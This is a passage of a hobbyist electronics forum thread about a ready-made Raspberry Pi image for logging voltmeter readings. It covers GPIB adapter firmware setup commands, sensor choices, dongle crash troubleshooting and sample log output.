  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #37 on: November 23, 2016, 02:54:09 pm »
@ManateeMafia & Plesa
Thanx for the info.

I'll see if i can get a Raspi 1 or 3 going this weekend , while waiting for the BME's from China

/Bingo
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #38 on: November 24, 2016, 04:02:21 am »
Wear level of SD card is not big deal, the majority of failures I have in past was related to corrupted FS. That's why I changed default Ext4 to F2FS.
Er, Ext4 FS is pretty stable these days.  What makes you think that the fs didn't fail because some blocks couldn't be written (or rather the controller *on the SD card* didn't write those blocks to the non-volatile storage medium, presumable because either power was cut or no free, still good block could be identified)?

Stories aplenty of corrupted file systems among RPi users.  Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #39 on: November 25, 2016, 08:15:04 pm »
I'm actually using ext4 too , and have no problems on my RasPi's.
I even have one with Kodi , that gets it's power cut when we leave the summerhouse.
That one have been working for 1.5 years wo. probs

/Bingo
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 706
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #40 on: November 27, 2016, 12:37:43 am »
Stories aplenty of corrupted file systems among RPi users.  Didn't happen to me yet and I have a few, one or two for a few years now, but i) I'm not in the habit of cutting power to them (you wouldn't do that to a Unix box, would you?) some are actually mostly on (uptime on my Internet radio is now 283 days) and ii) on most of them I'm using the Debian package 'flashhybrid', bypassing the flash-wear and sudden power loss issues.
I jinxed it, it seems.  I have now in my hands my first broken micro SD card.  It happened while tinkering with one of my RPis -- I managed to misplace the 40pin header of a 'hat' by one pin.   :palm:  The RPi seems to have survived, but can't boot anymore.  On a 2nd system, I can mount and read the fs, but there are block level errors when the host attempts to write (including writing the dirty bit of the fs).  Update: some blocks, including some which shouldn't have been modified in months, can't even be read.

Ext4 is a traditional Unix file system, designed for rotating storage media, with little provisions protecting from hardware (block level) failures (the boot block is copied a few times, but that's about it).  Hardware failures are assumed to be handled on the block layer (RAID or similar).

A fs designed with the specific properties of the medium might be of advantage.  Not sure, how F2FS suggested above would fare in the event of a SD controller failure.

I think running an OS of an SD card is a rather questionable proposition.  I'd be more at ease, having the host boot from such a card, populating a RAM disk with the OS and then running from there (like many embedded systems operate).  Debian/Raspbian might be too fat to fit into the RAM of a RPi.  I meant for a while already to have a look how well OpenWRT runs on a RPi ... 
« Last Edit: November 27, 2016, 05:40:57 pm by guenthert »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #41 on: November 27, 2016, 07:23:16 am »
Addon to the Vnut Platform

Here's Mark Simms annotated HP3458A calram readout , built on a RasPiv3 with a "fresh Jessie" , and linux-gpib 4.03
Rename the file extension to tar.gz , wasn't allowed as an upload extension

I haven't tested this one on my 58' yet , but it's build as the one i uploaded previously , that was used by TiN

/Bingo
« Last Edit: November 27, 2016, 07:25:51 am by bingo600 »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #42 on: November 27, 2016, 09:51:45 am »
I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.

Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.

Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #43 on: November 27, 2016, 05:12:32 pm »
I'd expect this ready to go image concept presented in thread to be more targeted for beginners and non-software folks who just want plug it in, write image and run the "log the data, now" app.

I don't agree 100%
A common platform would be nice for ie. your DMM noiselogger measurements.


Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.
Have you tried with a powered USB hub ?
I think it could be power related.

Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.
Does that one deliver more/better power ?

/Bingo
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #44 on: November 27, 2016, 11:07:01 pm »
Image v2 is ready. Just needs to solve issue with ftp upload.
Image is runnning on RPi2/RPi3.´, based on Raspbian Jessie image with latest kernel 4.4.37.
Extra Kudos for TiN for space on  xDev storage https://xdevs.com/doc/_Images_RPI-DL/
And also lot of inspiration in his Python scripts and idea with D3js.

On image is running samba where you can find all python scripts, log files and website sources.
Just to map network drive with RPi address.
Scripts can be executes over ssh ( user pi, password raspberry) same for samba.
On website you can find few basic pages with D3 plots.

Tested is USB,LAN, USB-RS232, GPIB (NI-GPIB-HS).
Soon will be added support for Agilent 82357B adapter/clone - thanks to VK5RC for donating clone.
Also Prologix is on it way. Support will be added in next release, probably will be used wrapper
https://github.com/hgrecco/pyvisa/issues/112

Some interfaces like USB requires root privileges, so use sudo.
Script for logging mainly set intruments for logging on 10V or 20V range - for LTZ boards logging.
BME280 sensors has it own page for log data.
Script for logging with 3458A also run ACAL every 1°C or 24h and log the DCV gain data.


Here are examples
#   Keyspan USA-19hs serial adapter
pi@raspberrypi:/pub/python $ python Test_RS232_USB.py
KEITHLEY INSTRUMENTS INC.,MODEL 6517B,1234567,A13/700x

pi@raspberrypi:/pub/python $ python Test_LAN.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09

pi@raspberrypi:/pub/python $ sudo python Test_USB.py
Agilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09

pi@raspberrypi:/pub/python $ sudo python Test_GPIB.py
KEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17  /A02

pi@raspberrypi:/pub/python $ sudo python 3458A_Log.py
Temperature or time difference since last ACAL is higher than set treshold 1.0 C / 86400 s
Since start ACAL performed 0 times
Performing ACAL DCV, it will takes 3 minutes
10V Gain DCV = 0.993364009
Internal Temperature = 32.5
27/11/2016      18:15:07        1 x ACAL        7.16507735      -1.258 ppm      32.5 C
27/11/2016      18:15:15        1 x ACAL        7.16507738      -1.254 ppm      32.5 C
27/11/2016      18:15:23        1 x ACAL        7.16507724      -1.272 ppm      32.5 C
27/11/2016      18:15:31        1 x ACAL        7.16507726      -1.270 ppm      32.5 C
27/11/2016      18:15:39        1 x ACAL        7.16507726      -1.270 ppm      32.5 C

pi@raspberrypi:/pub/python $ python BME_Log.py
27/11/2016      16:47:35        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6
27/11/2016      16:47:45        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6
27/11/2016      16:47:55        Temperature: 20.90 C 17.23 C    Pressure:  98680 Pa  98875 Pa   Relative Humidity: 49.7 61.6


pi@raspberrypi:/pub/python $ sudo python 34410A_Log.py
Agilent Technologies,34410A,MY12345678,2.41-2.40-0.09-46-09
27/11/2016      17:06:55        7.16734802      0.6 ppm
27/11/2016      17:06:57        7.16734637      0.4 ppm
27/11/2016      17:06:59        7.16734833      0.7 ppm
27/11/2016      17:07:01        7.16734792      0.6 ppm
27/11/2016      17:07:03        7.16734937      0.8 ppm
27/11/2016      17:07:05        7.16734989      0.9 ppm
27/11/2016      17:07:07        7.16734974      0.9 ppm
27/11/2016      17:07:09        7.16734902      0.8 ppm
27/11/2016      17:07:11        7.16734973      0.9 ppm


pi@raspberrypi:/pub/python $ sudo python K2001_Log.py
KEITHLEY INSTRUMENTS INC.,MODEL 2001M,1234567,B17  /A02

27/11/2016      19:26:08        -0.79064850     -1110349.2 ppm
27/11/2016      19:26:09        -0.79909820     -1111528.5 ppm
27/11/2016      19:26:09        -0.80731830     -1112675.7 ppm
27/11/2016      19:26:10        -0.81536700     -1113799.1 ppm
« Last Edit: November 27, 2016, 11:10:41 pm by plesa »
 
The following users thanked this post: TiN, mimmus78, dr.diesel, Nuno_pt

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #45 on: November 28, 2016, 01:48:44 am »
Quote
I don't agree 100%
A common platform would be nice for ie. your DMM noiselogger measurements.
More meant - can do both, DIY stuff for advanceds, but also have easy functions for beginner work :)
E.g. when linux-gpib was a new thing few years ago - fiddling with dozen of packages, kernel headers, firmware uploads enough to scare even brave *nix beginner  :)

Quote
Have you tried with a powered USB hub ?
I think it could be power related.
...
Does that one deliver more/better power ?

Yes, even tried powering +5V to dongle directly to pod from 3A PSU, same thing.
RPI board just forwards same +5V from input. Dongle takes ~400mA peak.

This issue is bit offtopic here, but I brought it up so we make sure images are ok for long term runs.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #46 on: November 28, 2016, 02:06:40 am »
I hope this image will help beginners to start with python and also with D3js for plotting. Histogram for noise measurement is also easy in D3. We just needs time to make scripts from scratch or convert EZGPIB ones.
TiN do you have all GPIB cables connected to instruments?

Image is here https://xdevs.com/doc/_Images_RPI-DL/RPi_LogNut_v2.zip

 
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #47 on: November 28, 2016, 06:17:22 am »
Maybe worth to make two level app? First level for function logic, etc datalogger or noise tester or custom modes such as delta measurement using current source and voltmeter for resistance measurement, similar to Kei 6220+2182.

Second layer would be for hardware support, eg SCPI commands to talk actual instruments.

It will take a bit more work, but will be easier to add support for specific instruments later.

I always have 3458, 2002s connected on GPIB, and add other instruments as needed.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline HighVoltage

  • Super Contributor
  • ***
  • Posts: 5453
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #48 on: November 28, 2016, 10:02:54 am »
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.
There are 3 kinds of people in this world, those who can count and those who can not.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #49 on: November 28, 2016, 05:46:01 pm »
What a great thread.

OK, I am ready to get my first Raspberry Pi.
But which one should I get to get best results ?
Thanks.

RPi2 or RPi3. RPi3 is faster and has integrated WiFI/BT. Price is almost the same. Image is working on both, we are not using x64 mode available on RPi3.
Do not forget to buy also enclosure. As SD card is 8GB minimum, I'm using several Samsung SD ( Pro/EVO+)  cards without problems.
RPi official power adapter is OK, but during logging I used output of E3631A PSU ( 5V for RPi, and 15V for LTZ).

I do not have Prologix yet, so it is not working, but will be added soon. Currently is working on NI USB-HS and E5810 GPIB interface.
82357B will be added soon as well.
 


Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 730
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #51 on: November 28, 2016, 07:07:18 pm »

I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.

I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #52 on: November 28, 2016, 07:10:24 pm »

I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.

I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

Nice, displaying IP address and some status info is helpful. Any preference for used display ( character, matrix, size??)

What we needs to check is EMI which comes from RPi and power supply. and also EMI related to GPIB adapters. Any volunteer with experience?
« Last Edit: November 28, 2016, 07:14:05 pm by plesa »
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 730
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #53 on: November 28, 2016, 07:31:04 pm »
This 2.2" display is pretty small at 320x240. The smallest text size is 10 point and the largest is 24.

I have the Kuman 3.5" display with case. It looks like it would be a better choice but I haven't assembled it yet to see how durable it is. There doesn't seem to be any protection for the screen like the Uniker.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #54 on: November 28, 2016, 07:32:09 pm »
@plesa

You'd need these for Agilent USB adapters & clones.

Code: [Select]
sudo apt-get install fxload

#Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

/Bingo

Ps: I don't have any EMI antennas  :-\
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #55 on: November 28, 2016, 08:05:32 pm »
@plesa

You'd need these for Agilent USB adapters & clones.

Code: [Select]
sudo apt-get install fxload

#Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

/Bingo

Ps: I don't have any EMI antennas  :-\

Yep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?
EMI antennas are not required ferite beads and some wire will be enough :)
https://interferencetechnology.com/the-hf-current-probe-theory-and-application/
 

Offline lukier

  • Supporter
  • ****
  • Posts: 634
  • Country: pl
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #56 on: November 28, 2016, 08:24:02 pm »
Yep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?

Check CY7C68013A user manual, it describes (AFAIR in the boot section) what to put at the beginning of the I2C EEPROM.

If I remember correctly it was something along these lines:
- mode (0 - shows up as Cypress device, used only for development, 1 - initial VID & PID from EEPROM, then upload the actual firmware - that's the mode used by Agilent, 2 - VID & PID & firmware in the EEPROM)
- VID
- PID

Initial (EEPROM) PID is different from the final one after firmware upload from the host, but I don't remember the numbers off the top of my head. It's somewhere online in the various linux-gpib guides.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #57 on: November 28, 2016, 08:28:50 pm »

From
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067


Code: [Select]
cd ~/linux-gpib
sudo apt-get install fxload

#Get the USB adapter firmware
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz

cd gpib_firmware-2008-08-10/agilent_82357a/

#Find the adapter
lsusb
#It will show something like this : Bus 001 Device 007: ID 0957:0518 Agilent Technologies, Inc.

#load firmware 1'st time
sudo fxload -t fx2 -D /dev/bus/usb/001/007 -I ./measat_releaseX1.8.hex

#Find the adapter (Device will usually increment by 1 , after a fw load)
lsusb
#It will show something like this : Bus 001 Device 008: ID 0957:0518 Agilent Technologies, Inc.

#load firmware 2'nd time
sudo fxload -t fx2 -D /dev/bus/usb/001/008 -I ./measat_releaseX1.8.hex

#Find the adapter
lsusb
#It will show something like this : Bus 001 Device 009: ID ID 0957:0718 Agilent Technologies, Inc. , note the change to ID 0957:0718

The green led's should be lit , and we're ready to go.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #58 on: November 30, 2016, 10:44:44 pm »
Thanks Bingo600 and Lukier for info, unfortunately this adapter has VID/PID set to zero. So It looks to me that it will require programmer to load correct FW.

Btw, one problem I have with RPi and NI USB-GPIB-HS is random crashed when running long time (hours). I used wheezy and jessie images from raspi site, different kernels, latest and one before that linux-gpib, RPI 1 and RPI 3 boards and various SanDisk SD cards. After crash gpib_config can't talk to dongle anymore, even thou it shows ok in lsusb. Reboot doesn't help , only dongle powercycle does.
Same NI dongle however works happily logging simultaneous data from 3x2001, 2x2002, 3458 over more than 70 hours now, running same python snake app on DE1SoC board with Trusty LTS 14.04 linux.

I only found that some instruments do not like connecting and disconnecting instruments to/from GPIB when running.
After hooking up K2001, the response time of 3458A incresed and power supply E3631A was in remote, but does not respond to commands at all.
After restarting E3631 everything is OK.
Setup was running for 3 weeks.
« Last Edit: November 30, 2016, 10:49:11 pm by plesa »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #59 on: December 01, 2016, 04:59:52 am »
Didn't see such stuff with my K2001's/3458 mixes.
Btw, I also had Agilent pod version of linux setup guide, using clone I have here.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #60 on: December 01, 2016, 09:52:54 am »
Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.
It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.
I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.
« Last Edit: December 01, 2016, 09:54:30 am by mimmus78 »
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #61 on: December 01, 2016, 06:40:26 pm »
Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.
It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.
I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.
If you needs DS18B20 sensors support you can inspire here
https://www.modmypi.com/blog/ds18b20-one-wire-digital-temperature-sensor-and-the-raspberry-pi

BME280 is unique for it's humidity measurement.
Lot of things are sensitive to humidity and not only to temperature. Price of BME280 is almost same like DS18B20, only absolute accuracy is better with DS18B20 ( 1C vs 0.5C).
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #62 on: December 01, 2016, 08:53:44 pm »
plesa:

I know you need at least one BME. What I tried to explain is that you don't need a second BME for a second temperature sensor.
You can connect ONE BME and one DS18B20 to the same RASPBERRY.

Anyway BME and DS18B20 have not the same price.
For the BME sensor you need to buy also the miniPCB and it costs 5 to 10 EUR.
As for the DS18B20 I can easily find one at less than 2 EUR locally.
And at least in Italy is more easier to find than the BME that is relatively new component.

Than if you consider to that it has TO92 package you also realise that is more easier to put on the right place and has very low thermal mass.
« Last Edit: December 01, 2016, 08:59:48 pm by mimmus78 »
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #63 on: December 01, 2016, 09:30:06 pm »
Nice project. I have a HM8012 benchtop multimeter with RS232, a RK8511 DC electronic load with RS232 and a Siglent SPD3303D power supply with an USB port, do you plan to support this? Would be cool to control and read it all from Python on a Raspberry Pi for measurements and experiments, like power on/off stress tests. I can help to implement drivers for it.

Looks like the xdevs site is down. Maybe you could create a github repository with a script (and additional programs and config files etc. if needed), which you can just start to turn a fresh Raspian image into this special distribution? Only one wget from a root shell would be required and then starting the script. Bonus: add some Dialog menus (can be implemented in bash) what instrument drivers you want to install and how you want it to configure, just like the raspi-config. Then you don't need to host gigabytes of data, too. Everyone could fork the github repository and send you pull requests for new things they have implemented.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #64 on: December 01, 2016, 09:50:45 pm »
Hi Frank,

USB and LAN connection is already implemented and tested in image. It has been made by Alex.
USB is working over USB-RS232 converter (Keyspan 19HS).
The major problem with support is that I do not have such gear.
If it became bigger maybe we can consider creating wrapper for instruments, which can make the srips universal. and if we needs some rare instrument from same category only the interface needs to be made.

I already created Github :)
https://github.com/PlesaEEVBlog/RPi_LogNut
And I will put there scripts and webpages for data visualization soon.
Currently I'm migrating to D3js version 4.4.
You can start with fresh Raspbian. The intention was to create easy startup for Voltnuts without Rpi experience which can help all of us to use same platform and share our work.

 

Offline carl_lab

  • Frequent Contributor
  • **
  • Posts: 418
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #65 on: December 01, 2016, 10:06:37 pm »
"Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"

Instrument: several 3458A's

Interface: Agilent 82357B GPIB to USB
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #66 on: December 01, 2016, 10:40:20 pm »
"Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"

Instrument: several 3458A's

Interface: Agilent 82357B GPIB to USB
So you are exactly the user for this. Image ready to go including plots available on website is ready on xDevs site.
Ok! So what hardware I have to buy?
Raspberry version?
Memory card for sytem and enough space for logging data (4x 3458A voltage and TEMP readout over a month or more).
What else?

Which GPIB adapter you have?
...Agilent 82357B GPIB to USB interface

Also logging of environmental conditions over BME280 is there including visualization.
Is internal TEMP from one or all of the 3458A's sufficient?
Or oven thermistor out from 732A read out over another 6 1/2 digit DMM?
Unfortunatelly I have to remove the whole setup from temperature controlled cal lab to another room without air condition (I think it will be within 22 +/-1 Celisus, anyway).

RPi you should buy is:
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/
or
https://www.raspberrypi.org/products/raspberry-pi-3-model-b/
RPi3 is faster and has WiFi and Bluetooth.
Do not forget case
https://www.raspberrypi.org/products/raspberry-pi-case/
as a power supply I'm using E3631, 6V rail for RPi and 15V for LTZ.
SD card - I can recommends Samsung PRO, SamSung EVO+ or others recommended Sandisk extreme.
Minimum is 8GB on this size of microSD card will be still plenty of space left. I expect some logging on NPLC >10 and not digitizing. One week of logging is about 10MB.
Many components are sensitive to pressure and humidity changes not only temperature.
So I propose to log everything.
BME sensors are chep on eBay of if you are in hurry purchase Adafruit or Sparkfun ones ( $20/pcs) on eBay it is about $5/pcs.
« Last Edit: December 02, 2016, 05:53:30 am by plesa »
 
The following users thanked this post: carl_lab

Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #67 on: December 02, 2016, 07:31:34 pm »
@OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.
Facebook-free life and Rigol-free shack.
 
The following users thanked this post: bck

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #68 on: December 02, 2016, 08:41:47 pm »
@Bud

AFAIK he did  ;)

Just download the ready built image from TiN's site , write it to a SD card.
Showe it in the RasPi and boot from it.

/Bingo
 

Offline Bud

  • Super Contributor
  • ***
  • Posts: 6877
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #69 on: December 03, 2016, 12:15:15 am »
I am waiting for the Agileng clone adapter implementation, i only have that one.   :popcorn:
Facebook-free life and Rigol-free shack.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #70 on: December 03, 2016, 02:10:35 pm »
@OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.
Well, these common software developer practices will attract more developers, which in turn will help to create a better end user solution :)
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline carl_lab

  • Frequent Contributor
  • **
  • Posts: 418
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #71 on: December 03, 2016, 06:20:57 pm »
So you are exactly the user for this.
Image ready to go including plots available on website is ready on xDevs site.
...
RPi you should buy is:
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/
or
https://www.raspberrypi.org/products/raspberry-pi-3-model-b/
RPi3 is faster and has WiFi and Bluetooth.
Do not forget case
https://www.raspberrypi.org/products/raspberry-pi-case/
Does RPi-2 or -3 make a difference for needed image?
Where can I find the image? I scanned xdevs site several times, but was not able to find it.

Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?
It's quite confusing for me without linux or raspberry experience...

As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.
Is that firmware loaded into adapters RAM or why is it not loaded permanently?
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #72 on: December 03, 2016, 06:28:01 pm »
Does RPi-2 or -3 make a difference for needed image?
Where can I find the image? I scanned xdevs site several times, but was not able to find it.

Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?
It's quite confusing for me without linux or raspberry experience...

As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.
Is that firmware loaded into adapters RAM or why is it not loaded permanently?
Image is here https://xdevs.com/doc/_Images_RPI-DL/
Also the scripts are there. Image works on RPi2 and RPi3, there is no significant difference in perfomance for logging.
RAM is integrated on RPi board already.
Yes 82357B and clones require load firmware when plugged. It will be automated, so in next release you will not found difference to NI GPIB or E5810 usage.
 
The following users thanked this post: 2N3055, carl_lab

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #73 on: December 07, 2016, 09:00:43 pm »
I've tried to put the image on a 8GB Sandisk Ultra but it has a few sector less than needed (20MB actually):
Not enough space on disk: Size: 15564800 sectors  Available: 15523840 sectors  Sector size: 512

It's just great that a "8GB" card is 7.4 in reality...
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #74 on: December 07, 2016, 11:50:17 pm »
OK, so I will in next release resize image. and you will needs to resize image back to full size of SD card.
Thanks for info.
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #75 on: December 08, 2016, 11:30:19 am »
Reading back what I wrote, I'm sorry if this came through as a complaint, it wasn't aimed at you.
I can only be grateful for the idea and effort put into it. So thank you!
 

Offline z01z

  • Regular Contributor
  • *
  • Posts: 151
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #76 on: December 09, 2016, 06:55:46 pm »
I am waiting for the Agileng clone adapter implementation, i only have that one.   :popcorn:
For Agilent 82357B you'd need these additional commands

Code: [Select]
sudo apt-get install fxload
wget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz
tar xvzf gpib_firmware-2008-08-10.tar.gz
sudo cp gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/

sudo cp /etc/gpib.conf /etc/gpib.conf.bak
sudo sed -i 's/ni_usb_b/agilent_82357a/g' /etc/gpib.conf
sudo sed -i 's/violet/agilent/g' /etc/gpib.conf
sudo sed -i '0,/set-bin = no/s//set-bin = yes/' /etc/gpib.conf

sudo modprobe agilent_82357a
sudo gpib_config

If "lsmod |grep agilent" shows these two lines:
pi@pi3:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

Then this command makes loading the module permanent (otherwise the modprobe is needed after every reboot).
Code: [Select]
sudo sed -i -e "\$aagilent_82357a" /etc/modules
I hope I didn't miss anything.

You could also refer to TiN's guide.
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
